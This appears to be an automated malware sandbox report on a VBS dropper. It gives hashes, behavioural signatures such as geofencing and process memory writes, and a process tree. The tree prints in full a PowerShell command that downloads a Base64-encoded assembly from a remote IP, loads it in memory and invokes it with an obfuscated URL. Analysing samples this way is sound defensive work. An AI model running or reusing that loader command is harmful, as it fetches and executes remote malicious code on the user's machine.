Resubmissions

10-11-2024 21:28

241110-1bhk6avgrr 10

Analysis

  • max time kernel
    369s
  • max time network
    1138s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 02:47

General

  • Target

    0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs

  • Size

    195KB

  • MD5

    a4f71409b11c7a677353f1d7b3e0d13a

  • SHA1

    704ec3fdb8f2ee5e39957785f0d03d5268abd5e6

  • SHA256

    0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819

  • SHA512

    0ed1f3d2fff28a0b7977f966b35c65ed3c3c385eecacf5b1feb38c20ecbbb3017b77b4eca584ea342be86e8e3e5baeec2dbdda3de5c85e97658cd9a4892c1a52

  • SSDEEP

    768:r1wsIXCNd5dghna/lS9P0P7SFuumB/bm/:4wCGBC/

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.om/ort/gmi/moc.nesnez-igoto//:sptth'))
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:460

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wszjyzx0.4tx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/460-0-0x00007FFB40F93000-0x00007FFB40F95000-memory.dmp

    Filesize

    8KB

  • memory/460-1-0x00000173D6A30000-0x00000173D6A52000-memory.dmp

    Filesize

    136KB

  • memory/460-11-0x00007FFB40F90000-0x00007FFB41A51000-memory.dmp

    Filesize

    10.8MB

  • memory/460-12-0x00007FFB40F90000-0x00007FFB41A51000-memory.dmp

    Filesize

    10.8MB

  • memory/460-13-0x00007FFB40F93000-0x00007FFB40F95000-memory.dmp

    Filesize

    8KB

  • memory/460-14-0x00007FFB40F90000-0x00007FFB41A51000-memory.dmp

    Filesize

    10.8MB

  • memory/460-15-0x00007FFB40F90000-0x00007FFB41A51000-memory.dmp

    Filesize

    10.8MB

  • memory/460-18-0x00007FFB40F90000-0x00007FFB41A51000-memory.dmp

    Filesize

    10.8MB

  • memory/460-19-0x00007FFB40F90000-0x00007FFB41A51000-memory.dmp

    Filesize

    10.8MB